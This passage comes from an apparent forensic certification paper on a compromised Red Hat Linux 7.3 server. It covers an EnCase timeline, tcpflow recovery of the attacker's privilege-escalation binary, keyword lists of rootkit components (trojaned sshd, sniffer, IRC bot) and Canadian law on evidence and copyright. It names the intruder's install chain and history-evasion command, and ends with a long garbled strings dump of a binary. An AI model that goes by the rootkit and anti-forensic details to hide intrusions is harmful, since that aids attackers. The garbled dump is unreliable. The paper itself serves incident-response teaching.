### The install script from s.tar.gz is running.

The install script calls the mpstree script with the line “sh mpstree”, then the mpstree script calls the p.ssh script with the line “/p.ssh”. The “p.ssh” script creates the /x directory with the line “mkdir –p $D”, the $D variable is set to”/x“ one line before. The libgc.so library and the popauth executable are placed by the p.ssh script.

### The mpstree script modifies the /etc/rc.d/rc.sysinit script and runs the weit executable.

The weit executable calls the popauth executable. Popauth listens on https, http, and UDP 3049. Popauth and other binaries are infected with the Linux.Jac.8759 virus. See EnCase report on virus infected files. 739 files, including rc.sysint have ctimes (change time) of 1056921729.

### EnCase was used to order the files based on last modified time.

<table>
<thead>
<tr>
<th>Date</th>
<th>Directory Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056921727</td>
<td>/mnt/linux73/dev/ttyos</td>
</tr>
<tr>
<td>1056921727</td>
<td>/mnt/linux73/var/lock/subsys</td>
</tr>
</tbody>
</table>

Date is Jun 29, 2003 22:22:08 => Adjusted to local 15:22:08

<table>
<thead>
<tr>
<th>Date</th>
<th>Directory Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/</td>
</tr>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/tmp/.s/clean</td>
</tr>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/tmp/.s/install</td>
</tr>
<tr>
<td>1056921728</td>
<td>/mnt/linux73/tmp/.s/sense</td>
</tr>
</tbody>
</table>

Date is Jun 29, 2003 22:22:09 => Adjusted to local 15:22:09

<table>
<thead>
<tr>
<th>Date</th>
<th>Directory Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056921729</td>
<td>/mnt/linux73/etc/rc.d</td>
</tr>
</tbody>
</table>

Date is Jun 29, 2003 22:36:49 => Adjusted to local 15:36:49

<table>
<thead>
<tr>
<th>Date</th>
<th>Directory Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>1056922609</td>
<td>/mnt/linux73/var/log/httpd/error_log</td>
</tr>
</tbody>
</table>

EnCase was used to order the files based on last modified time.
Looking at the EnCase modified time sort we see the mech.pid file, (Trojaned IRC server) established at 15:32:59. The mkdir time 15:39:41 (03:39:21) shows us the last trojaned command being put in place. The samba.tgz file is the file downloaded during the nfsd (trojaned ssh running on port 18) session. The time for this was 15:41:42 (03:41:42). Outgoing attacks are initiated. Our suspect mistypes and forgets to stop the .bash_history file from logging. It, along with the sebek log provide evidence on the exact commands typed.

The hostname file had it’s mtime and ctime changed at 16:59:16. One of the commands run during the attacks was ‘netstat’. The ‘netstat’ command was one of the files successfully trojaned. The ‘netstat’ command was exported and the Norton anti-virus program showed the file contained the Linux.RST.B virus. The ‘hostname’ file was exported and it also had the virus. The running of the trojaned netstat command infected the hostname file causing the change in mtime and ctime.

The next mtime written is for .bash_history at 17:21:23 and the xxh_r (trojaned ssh daemon nfsd random seed file) time at 17:25:23. The lpd.usr (19:00:27) and MrIdiot.seen (19:10:27) files are both used for the IRC BOT server. The last inbound
connection to the IRC server is shown in the tcpdump log output below.

```
16:52:24.823540 195.54.102.4.6667 > 192.168.2.15.1143: P 28727:28812(85) ack 1171 win 2896
<nop,nop,timestamp 120259573 53659921> (DF)
```

### 2.7. Recover Deleted Files

As indicated the log server file for the Jun 29 date were not immediately obtained. The log file rotation was set to rotate every week, retaining only 4 weeks before being written over. By the time the error was uncovered the logging event for June 29, had been overwritten. To recover events from the Jun 29 time period a dd image was taken of the drive, see Tag #3. The dd image of the var partition was acquired into EnCase and a search expression for “Jun 29” was created. See Figure 20.

![Figure 20. EnCase keyword string input](image)

The results of the search string are shown by selecting Search Hits. To export the deleted data into a file, the selection is highlighted by dragging the cursor or right clicking and selecting export. Under export you have options to enter the ranges you wish to export to a file. Figure 21 shows the search string found in Unallocated Clusters. The data start and length was used to export the deleted log data to an output file.
Other data recovery was done using tcpflow on the tcpdump data streams from the log evidence gathered from tag item #3.

The syntax for recovering the data streams through these sessions was:

```bash
#> tcpflow -r tcpdump.log.1056866401 port 1058
```

The output is two streams:

- XXX.XXX.119.141.00080-192.168.002.015.01058
- 192.168.002.015.01058-XXX.XXX.119.141.00080

Editing out the http header information from the first stream left the "r" binary file that was used to elevate privileges to root on the system.
### 2.8. String Search

From the live response, log analysis, and media analysis keywords were identified. The lists below were compiled throughout the analysis. As shown above, the string search for Jun 29 on the “/var” partition provided supporting evidence on the timing of events and the nature of the activity.

The keywords from live response were compiled based on the difference in a live response run on a normal system and the live response run on the compromised Linux 7.3 server. The keywords were used to narrow the search parameters and target the analysis. This string search / keyword search targeting saved time and narrowed the search for the facts.

**Live response**

**Keywords of interest**
- minilogs
- session_mm_apache0.sem
- weit
- popauth
- nfsd

**Paths of interest**
- /tmp/.s
- /.x

**Files of interest**
- /var/log/httpd/access_log
- /var/log/httpd/ssl_request_log
- /var/log/httpd/error_log
- /usr/bin/weit
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /.x/popauth
- /dev/hdx1
- /usr/sbin/nfsd
- /tmp/.s/nfsd
- /sbin/sshd_config

**Other items of interest**
- Date processes started Jun 29
- Defunct processes
  - weit,
  - chmod +s /usr/sbin/nfsd,
  - chmod
  - mkdir
  - hostname
  - ls

**Log file analysis**

**Keywords of interest**
- s.tar.gz
- linsniffer
- .addr
• .file
• .1logz
• .1proc
• xxh_h
• xxh_r
• nfsdi
• init.sshd
• popauth
• wekt

Paths of interest
• /tmp/.s
• /tmp/.s/nfsd
• /tmp/.s/sshd
• /tmp/.font- unix
• /tmp/.font- unix/.X11
• /tmp/.x

Files of interest
• r
• s.tar.gz
• .s/du
• .s/find
• .s/killall
• .s/linsniffer
• .s/ls
• .s/netstat
• .s/ps
• .s/pstree
• .s/top
• .s/.laddr
• .s/file
• .s/.llogz
• .s/.1proc
• .s/clean
• .s/nfsd/
• .s/nfsd/sshd_config
• .s/nfsd/sshd
• .s/nfsd/xxh_h
• .s/nfsd/xxh_r
• .s/nfsd/nfsdi
• .s/sshd/
• .s/sshd/init.sshd
• .s/sshd/ssh_host_key
• .s/sshd/sshd-install
• .s/sshd/sshd_config
• .s/insta ll
• .s/p.sshd

• bot.tar.gz
• .X11-pipe/cOPYING
• .X11-pipe/README
• .X11-pipe/Makefile
• .X11-pipe/mech.pid
• .X11-pipe/lpd.help
• .X11-pipe/xxh_h
• .X11-pipe/xxh_r
• .X11-pipe/init.sshd
• .X11-pipe/ssh_host
• .X11-pipe/sshd_config
• .X11-pipe/sshd

• samba.tgz
• ./samba/samba
• ./samba/solo
• ./samba/sys
2.9. Conclusions

The analysis of the logs and tools used provided some interesting insights into the subject. The initial connections showed some scripted activity, worm-like. The subject scripts initially held the connection but dropped. The subject did not pay attention to the logging their own install script provided. If they had, they would have seen the fact the sniffer program was not completely installed.

Logging from the IRC sessions demonstrated the need to have bragging rights over how many machines someone has compromised.

```
:stockholm.SE.eu.Undernet.org 251 MrIdiot :There are 52305 users and 71548 invisible on 36 servers
:stockholm.SE.eu.Undernet.org 252 MrIdiot 79 :operator(s) online
:stockholm.SE.eu.Undernet.org 253 MrIdiot 213 :unknown connection(s)
:stockholm.SE.eu.Undernet.org 254 MrIdiot 46487 :channels formed
:stockholm.SE.eu.Undernet.org 255 MrIdiot :I have 9236 clients and 1 servers
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :Highest connection count: 9510 (9509 clients)
:stockholm.SE.eu.Undernet.org 375 MrIdiot :- stockholm.SE.eu.Undernet.org Message of the Day -
:stockholm.SE.eu.Undernet.org 372 MrIdiot :Type /MOTD to read the AUP before continuing using this service.
:stockholm.SE.eu.Undernet.org 372 MrIdiot :The message of the day was last changed: 2003-1-21 16:57
:stockholm.SE.eu.Undernet.org 376 MrIdiot :End of /MOTD command.
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :on 1 ca 1(4) ft 10(10) tr WHOIS MrIdiot
:stockholm.SE.eu.Undernet.org 311 MrIdiot MrIdiot -Idiot XXX.XXX.5.35 * :Idiot
:stockholm.SE.eu.Undernet.org 312 MrIdiot MrIdiot stockholm.SE.eu.Undernet.org 
: Bredbandsbolaget's IRC Server
:stockholm.SE.eu.Undernet.org 317 MrIdiot MrIdiot 0 1056922387 :seconds idle, signon time
:stockholm.SE.eu.Undernet.org 318 MrIdiot MrIdiot :End of /WHOIS list.
```

Our subject(s) are likely learning the ropes, and are attempting to prove themselves to others in their group by hacking into as many computers as possible. The suspect is not a detail person as seen in the mistyping of commands such as "unset HISTFILES" and doesn’t review his/her own install logs.

Improvements made to the Live Response procedure are;

- File listing has been changed from listing only the /proc file system to listing all files and directories recursively. Changed from `ls -al /proc` to `ls -alR /`.
- A second file listing has been added that will parse out the inode listings for the file system. Added `ls -aliR /`.
3. Legal Issues of Incident Handling

3.1. Questions:

Question. Based upon the type of material John Price was distributing, what if any, laws have been broken based upon the distribution?

The reference to Ripped MP3 files at the various websites and the message to Mike are evidence of copyright infringement. The sections of the Canadian copyright law that would be applied to this are civil and criminal. In the “Copyright Act of Canada, Part IV – Remedies S.34,S35,S38.1” we find the following:

Civil Remedies\(^\text{10}\)

34. (1) Where copyright has been infringed, the owner of the copyright is, subject to this Act, entitled to all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(2) In any proceedings for an infringement of a moral right of an author, the court may grant to the author or to the person who holds the moral rights by virtue of subsection 14.2(2) or (3), as the case may be, all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(3) The costs of all parties in any proceedings in respect of the infringement of a right conferred by this Act shall be in the discretion of the court.

(4) The following proceedings may be commenced or proceeded with by way of application or action and shall, in the case of an application, be heard and determined without delay and in a summary way:

(a) proceedings for infringement of copyright or moral rights;
(b) proceedings taken under section 44.1, 44.2 or 44.4; and
(c) proceedings taken in respect of

(i) a tariff certified by the Board under Part VII or VIII, or
(ii) agreements referred to in section 70.12.

35. (1) Where a person infringes copyright, the person is liable to pay such damages to the owner of the copyright as the owner has suffered due to the infringement and, in addition to those damages, such part of the profits that the infringer has made from the infringement and that were

not taken into account in calculating the damages as the court considers just.

(2) In proving profits,

(a) the plaintiff shall be required to prove only receipts or revenues derived from the infringement; and

(b) the defendant shall be required to prove every element of cost that the defendant claims.

(c) in any other case, if the court is of the opinion that the interests of justice do not require the

copyright owner to be a party

38.1 (1) Subject to this section, a copyright owner may elect, at any time before final judgment is rendered, to recover, instead of damages and profits referred to in subsection 35(1), an award of statutory damages for all infringements involved in the proceedings, with respect to any one work or other subject-matter, for which any one infringer is liable individually, or for which any two or more infringers are liable jointly and severally, in a sum of not less than $500 or more than $20,000 as the court considers just.

Depending on intent and cooperation the fines faced by the defendant in civil court can be expensive. The “Criminal Remedies” section carry not only fines but the added possibility of jail time. The section of the “Copyright Act” that applies to the Criminal aspect of Copyright infringement is “Copyright Act of Canada, Part IV – Remedies S.42”. In this section we find the statement “Every person who knowingly”. The factor that determines the pressing of Criminal charges would be “intent”. For our case we see intent in the letter written to Mike. The topic of discussion is on “advanced orders for the next run”. The actions being taken are deliberate, the factors that show they know it’s illegal and wrong are things like hiding the MP3 access sites in slack space of a file. The other factor is the alteration of the bmap source code. Below are some sections from the Criminal Remedies area of the Copyright Act of Canada:

Criminal Remedies

42. (1) Every person who knowingly

(a) makes for sale or rental an infringing copy of a work or other subject-matter in which copyright subsists,

(b) sells or rents out, or by way of trade exposes or offers for sale or rental, an infringing copy of a work or other subject-matter in which copyright subsists,

(c) distributes infringing copies of a work or other subject-matter in which copyright subsists, either for the purpose of trade or to such an extent as to affect prejudicially the owner of the copyright,

(d) by way of trade exhibits in public an infringing copy of a work or other subject-matter in which copyright subsists, or

---

(e) imports for sale or rental into Canada any infringing copy of a work or other subject-matter in which copyright subsists is guilty of an offence and liable

(f) on summary conviction, to a fine not exceeding twenty-five thousand dollars or to imprisonment for a term not exceeding six months or to both, or

(g) on conviction on indictment, to a fine not exceeding one million dollars or to imprisonment for a term not exceeding five years or to both.

(4) Proceedings by summary conviction in respect of an offence under this section may be instituted at any time within, but not later than, two years after the time when the offence was committed.

If found guilty of a summary conviction under section 42 of the Copyright act the suspect faces fines up to $25,000.00 and a jail term of 6 months. For a summary conviction there is a two year time limit. If you are convicted on indictment the fines are up to 1 million dollars and jail for up to 5 years.

Question. What would the appropriate steps be to take if you discovered this information on your systems?

The information on the system is a violation of the Copyright Act as indicated above. The information must be handled as any other evidence. The requirements for electronic evidence gathering are indicated in the Canada Evidence Act – Authentication of Electronic Documents – S.31.1, - Application of Best Evidence Rule-Electronic documents /printouts – S.31.2 and Presumption of Integrity – S.31.3. In accordance with the above sections the “burden of proving its authenticity” is required by the person wishing to admit the evidence. The evidence is required to support the claim that the document is what it claims to be.

The method used to gather the evidence must be verified. Note taking and using two people ensures there is independent verification and integrity of the evidence. The evidence gathering must include the identification and verification processes. The use of MD5 checksum hashes are meant to prove authenticity and integrity of the evidence. Placing the seized media into a secure area and using evidence bags initialed by the investigators maintains the evidence chain. The hardware write block device used for the image ensure the evidence is not modified.

The application of the best-evidence rule (S31.2) allows for the use of printout to be used as evidence of an electronic document. Printouts of evidence reports ensure its availability and provide backup in cases were the electronic media may be unavailable or destroyed.
**Question.** In the event your corporate counsel decides to not pursue the matter any further at this point, what steps should you take to ensure any evidence you collect can be admissible in proceedings in the future should the situation change?

To ensure the evidence gathered could be admissible in the future the same standards for evidence gathering that law enforcement uses would be applied. The evidence would be gathered by two people and documented. A live response would be conducted to ensure the running processes are recorded. Next, the box would be either shutdown properly or unplugged, depending on the type of Operating system being dealt with. The note taking by the two investigators must include dates, times, commands run, MD5 hashes of files and evidence gathered. Initialing of all evidence and the use of evidence bags that are sealed and initialed. All evidence gathered would be stored in a secure (locked) location.

Other provisions of the Criminal Code for gathering the evidence are covered in the Canada Evidence Act. The sections of interest are (31.1) Authentication of Electronic Documents, (31.2) Application of Best Evidence Rule-Electronic Documents and (S31.3) Presumption of Integrity. Refer to the section above.

**Question.** How would your actions change if your investigation disclosed that John Price was distributing child pornography?

Child pornography is a serious criminal offense. Corporate counsel would be advised then the authorities would be contacted immediately. The provisions in the Criminal Code of Canada provide clear guidelines on the action to be taken. (see Appendix G for complete listing of the Criminal Code of Canada pertaining to Child Pornography).

The Child pornography section of the Criminal Code of Canada is section 163.1. Item 3 under section 163.1 states:

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or
(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

The provisions in section 163.1 (3) allow the company hosting to be charged if immediate action is not taken.

The machine in question would be imaged following the forensic methodology outlined below.

- Two investigators present.
- Extensive note taking, including dates and times, commands run.
- MD5 checksums on the evidence.
- Strong chain of evidence through the use of evidence bags and initialed seals. Secure storage of all evidence.

The preference for who gathers the evidence would be to gather the evidence and wait for law enforcement to execute a proper Search warrant. To ensure due process law enforcement is required to obtain a search warrant under the Criminal Code of Canada, S.487 (1) a-c, and S.487(2.1) a-d & (2.2) a-c. It states:

487. (1) A justice who is satisfied by information on oath in Form 1 that there are reasonable grounds to believe that there is in a building, receptacle or place

(a) anything on or in respect of which any offence against this Act or any other Act of Parliament has been or is suspected to have been committed,

b) anything that there are reasonable grounds to believe will afford evidence with respect to the commission of an offence, or will reveal the whereabouts of a person who is believed to have committed an offence, against this Act or any other Act of Parliament,

(c) anything that there are reasonable grounds to believe is intended to be used for the purpose of committing any offence against the person for which a person may be arrested without warrant, or

may at any time issue a warrant authorizing a peace officer or a public officer who has been appointed or designated to administer or enforce a federal or provincial law and whose duties include
the enforcement of this Act or any other Act of Parliament and who is named in the warrant.

(2.1) A person authorized under this section to search a computer system in a building or place for data may

(a) use or cause to be used any computer system at the building or place to search any data contained in or available to the computer system;

(b) reproduce or cause to be reproduced any data in the form of a print-out or other intelligible output;

(c) seize the print-out or other output for examination or copying; and

(d) use or cause to be used any copying equipment at the place to make copies of the data.

(2.2) Every person who is in possession or control of any building or place in respect of which a search is carried out under this section shall, on presentation of the warrant, permit the person carrying out the search

(a) to use or cause to be used any computer system at the building or place in order to search any data contained in or available to the computer system for data that the person is authorized by this section to search for;

(b) to obtain a hard copy of the data and to seize it; and

(c) to use or cause to be used any copying equipment at the place to make copies of the data. 12

Once the search warrant was executed by Law Enforcement the evidence would be turned over to Law Enforcement.

Appendices

Appendix A

Prog file strings listing

Strings dump - file prog, from Linux 7.3 VMWare workstation.

PTRh QVhx h@=
 hK= h@=
 h@= 0hT=
 h@= 0he= 8-tx
 h@= h@=
 h>= hP> 0hm>
 h@= h$?
 h@= h? h=?
 h@= PhI? hI?
 hU? h.? h`?
 h@= hn?
 h@= Ph @
 0h A 0h@A 0h B
 0h B 0h&C 0h5C
 0hDC 0hXC 0h_C
 0hBC hhC 0hnC
 hzC h, D 0h7D
 0h`D 0h_C 0hbC
 hzC h, D 0h-E
 h@I hdI hxI
 h)J hCJ h` J
 h K PhAK PhHK
 hLK hbK huK
 hbK huK hbK
 huK PhHK hHK
 h L h M h:M
 hkM h` M RPSQ
 RPSQ [^_]
 I, RPSQ h_N p8hxN
 h8N h_: M h8O
 heO X^_]
 [^_][^_]
 ['.] tY9u < v61
 ug;] s=;] PSh|
 ['^_]
 XZSV VPVS
 ['^_]
 [^_]
 RPSW /FBH-
 ['^_]
 ;C tU t$QVPVS
 PVRS ;S t< [^_]
 G +G [^_]
 t PS VPQ
 V +V FDHP [^_]
 ['^_]
 CDHP VSPQ)
 ['^_]
 CDHP [^_]
 VSPQ) ~VQSV
Kevin Miller - Sans GCFA Assignment – v1.4

Page 63

\[ t = Ky \]
\[ t = Ky \]
\[ t = Ky \]
\[ 0 < w \]
\[ 0 < v \]
\[ 9 = u > A \]
\[ [^_] \]
\[ [^_] \]
\[ [^_] \]
\[ [^_] \]
\[ [^_] \]
\[ t, RVWP \]
\[ tY9u \]
\[ rj \]
\[ t.kWQ \]
\[ WQj0 \]
\[ F(Pj) \]
\[ t, \]
\[ $t, \]
\[ t = PVj \]
\[ WVj \]
\[ tQVj \]
\[ VWVS \]
\[ PQWVS \]
\[ PWVS \]
\[ v A) \]
\[ t = QRWVS \]
\[ C, +C$) \]
\[ GqVW \]
\[ PQSh \]
\[ t = QRWS \]
\[ P RV \]
\[ x = QS \]
\[ t = ANt: \]
\[ ]
\[ t = 1Q+8 \]
\[ G +G \]
\[ t = t = t = \]
\[ CTPV \]
\[ CTPV \]
\[ C(PV \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
\[ t = 08t \]
examining a filename or url!
flag-
mft_getopt
invalid index %d
invalid value for enum
mft_log_init
mft_log_shutdown

Usage: %s [OPTION]...

Report bugs to %s.
---%s %s
---%s <filename> %s
> %s
%&%s
[&lt;%s-filename&gt;]

<descip>
<tt>%s</tt> invocation
</tt>

<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s

<tt>%s</tt> invocation
<tt>%s</tt> [&lt;OPTION&gt;]
Where &lt;bf&gt;OPTION&lt;/bf&gt; may include any of:
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s
<tag>--%s</tag> %s

logging threshold ...
verbose
label
test for fragmentation (returns 0 if file is fragmented)
frag
test (returns 0 if exist)
display data
operation to perform on files
gsgml
help
autogenerate document ...
use block-list knowledge to perform special operations on files
off_t too small!
try '--help' for help.

07/15/03
how did we get here?
invalid option: %s
no filename. try '--help' for help.
%s is not a regular file.
Unable to determine blocksize:
error mapping block %d (%s)
read error

Unable to stat file: %s
Unable to open file: %s
Unable to raw open %s
%s has holes in excess of %ld bytes...
seek failure

file size was: %ld
seek error

slack size: %d
# File: %s Location: %Ld
size: %d
%s does not have slack
bmap_get_slack_block

%s has slack
%s does not have fragmentation

Null value for slack_block
error getting block count
error mapping block %d.
ioctl failed with %s
Unable to stat %d

block returned 0
Unable to determine
filesystem reports 0
filesystem blocksize
bmap_map_block
NULL filename supplied
unable to determine raw device of %s
unable to open raw device %s
stat reports %d blocks: %d
bmap_get_block_size
null block while mapping block %d.
bmap_raw_open
computed block count: %d
raw fd is %d
bogowipe
write error
/dev/xdb9
/dev/xdb63
/dev/xdb60
/dev/xdb58
/dev/xdb55
/dev/xdb52
/dev/xdb49
/dev/xdb46
/dev/xdb43
/dev/xdb40
/dev/xdb39
/dev/xdb36
/dev/xdb33
/dev/xdb30
/dev/xdb28
/dev/xdb25
/dev/xdb22
/dev/xdb17
/dev/xdb14
/dev/xdb11
/dev/xdb
/dev/xda9
/dev/xda7
/dev/xda61
/dev/xda59
/dev/xda56
/dev/xda53
/dev/xda50
/dev/xda48
/dev/xda45
/dev/xda42
/dev/xda4
/dev/xda37
/dev/xda34
/dev/xda31
/dev/xda29
/dev/xda26
/dev/xda23
/dev/xda20
/dev/xda18
/dev/xda15
/dev/xda12
/dev/xda1
/dev/sjcd
/dev/sdz9
/dev/sdz7
/dev/sdz4
/dev/sdz15
/write error
/dev/xdb8
/dev/xdb6
/dev/xdb57
/dev/xdb54
/dev/xdb51
/dev/xdb48
/dev/xdb45
/dev/xdb42
/dev/xdb5
/dev/xdb38
/dev/xdb35
/dev/xdb32
/dev/xdb31
/dev/xdb3
/dev/xdb27
/dev/xdb24
/dev/xdb21
/dev/xdb19
/dev/xdb16
/dev/xdb13
/dev/xdb10
/dev/sonycd
/dev/sjcd
/dev/sdz9
/dev/sdz7
/dev/sdz4
/dev/sdz15
/dev/sdz12  /dev/sdz11  /dev/sdz10
/dev/sdy8   /dev/sdy7   /dev/sdy6
/dev/sdy5   /dev/sdy4   /dev/sdy3
/dev/sdy2   /dev/sdy15  /dev/sdy14
/dev/sdy13  /dev/sdy12  /dev/sdy11
/dev/sdy10  /dev/sdy1   /dev/sdy
/dev/sdy9   /dev/sdy8   /dev/sdy7
/dev/sdx7   /dev/sdx15  /dev/sdx14
/dev/sdx11  /dev/sdx10  /dev/sdx1
/dev/sdx    /dev/sdw9   /dev/sdw8
/dev/sdy7   /dev/sdy6   /dev/sdy5
/dev/sdy4   /dev/sdy3   /dev/sdy2
/dev/sdy15  /dev/sdy14  /dev/sdy13
/dev/sdy12  /dev/sdy11  /dev/sdy10
/dev/sdy1   /dev/sdv9   /dev/sdv8
/dev/sdv7   /dev/sdv6   /dev/sdv5
/dev/sdv4   /dev/sdv3   /dev/sdv2
/dev/sdv15  /dev/sdv14  /dev/sdv13
/dev/sdv12  /dev/sdv11  /dev/sdv10
/dev/sdv10  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv15
/dev/sdv14  /dev/sdv13  /dev/sdv12
/dev/sdv11  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv15
/dev/sdv14  /dev/sdv13  /dev/sdv12
/dev/sdv11  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv15
/dev/sdv14  /dev/sdv13  /dev/sdv12
/dev/sdv11  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv15
/dev/sdv14  /dev/sdv13  /dev/sdv12
/dev/sdv11  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv15
/dev/sdv14  /dev/sdv13  /dev/sdv12
/dev/sdv11  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv15
/dev/sdv14  /dev/sdv13  /dev/sdv12
/dev/sdv11  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv15
/dev/sdv14  /dev/sdv13  /dev/sdv12
/dev/sdv11  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv15
/dev/sdv14  /dev/sdv13  /dev/sdv12
/dev/sdv11  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv15
/dev/sdv14  /dev/sdv13  /dev/sdv12
/dev/sdv11  /dev/sdv1   /dev/sdv
/dev/sddx8 /dev/sddx7 /dev/sddx6
/dev/sddx5 /dev/sddx4 /dev/sddx3
/dev/sddx2 /dev/sddx15 /dev/sddx14
/dev/sddx13 /dev/sddx12 /dev/sddx11
/dev/sddx10 /dev/sddx1 /dev/sddx
/dev/sddw9 /dev/sddw8 /dev/sddw7
/dev/sddw6 /dev/sddw5 /dev/sddw4
/dev/sddw3 /dev/sddw2 /dev/sddw15
/dev/sddw14 /dev/sddw13 /dev/sddw12
/dev/sddw11 /dev/sddw10 /dev/sddw1
/dev/sddw /dev/sddv9 /dev/sdvw8
/dev/sddv7 /dev/sddv6 /dev/sddv5
/dev/sddv4 /dev/sddv3 /dev/sddv2
/dev/sddv15 /dev/sddv14 /dev/sddv13
/dev/sddv12 /dev/sddv11 /dev/sddv10
/dev/sddv1 /dev/sddv /dev/sddu9
/dev/sddu8 /dev/sddu7 /dev/sddu6
/dev/sddu5 /dev/sddu4 /dev/sddu3
/dev/sddu2 /dev/sddu15 /dev/sddu14
/dev/sddu13 /dev/sddu12 /dev/sddu11
/dev/sddu10 /dev/sddu1 /dev/sddu
/dev/sddt9 /dev/sddt8 /dev/sddt7
/dev/sddt6 /dev/sddt5 /dev/sddt4
/dev/sddt3 /dev/sddt2 /dev/sddt15
/dev/sddt14 /dev/sddt13 /dev/sddt12
/dev/sddt11 /dev/sddt10 /dev/sddt1
/dev/sddt /dev/sdds9 /dev/sdds8
/dev/sdds7 /dev/sdds6 /dev/sdds5
/dev/sdds4 /dev/sdds3 /dev/sdds2
/dev/sdds15 /dev/sdds14 /dev/sdds13
/dev/sdds12 /dev/sdds11 /dev/sdds10
/dev/sdds1 /dev/sdds /dev/sddq9
/dev/sddr8 /dev/sddr7 /dev/sddr6
/dev/sddr5 /dev/sddr4 /dev/sddr3
/dev/sddr2 /dev/sddr15 /dev/sddr14
/dev/sddr13 /dev/sddr12 /dev/sddr11
/dev/sddr10 /dev/sddr1 /dev/sddr
/dev/sddq9 /dev/sddq8 /dev/sddq7
/dev/sddq6 /dev/sddq5 /dev/sddq4
/dev/sddq3 /dev/sddq2 /dev/sddq15
/dev/sddq14 /dev/sddq13 /dev/sddq12
/dev/sddq11 /dev/sddq10 /dev/sddq1
/dev/sddq /dev/sddp9 /dev/sddp8
/dev/sddp7 /dev/sddp6 /dev/sddp5
/dev/sddp4 /dev/sddp3 /dev/sddp2
/dev/sddp15 /dev/sddp14 /dev/sddp13
/dev/sddp12 /dev/sddp11 /dev/sddp10
/dev/sddp1 /dev/sddp /dev/sddo9
/dev/sddo8 /dev/sddo7 /dev/sddo6
/dev/sddo5 /dev/sddo4 /dev/sddo3
/dev/sddo2 /dev/sddo15 /dev/sddo14
/dev/sddo13 /dev/sddo12 /dev/sddo11
/dev/sddo10 /dev/sddo1 /dev/sddo
/dev/sddn9 /dev/sddn8 /dev/sddn7
/dev/sddn6 /dev/sddn5 /dev/sddn4
/dev/sddn3 /dev/sddn2 /dev/sddn15
/dev/sddn14 /dev/sddn13 /dev/sddn12
/dev/sddn11 /dev/sddn10 /dev/sddn1
/dev/sddn /dev/sddm9 /dev/sddm8
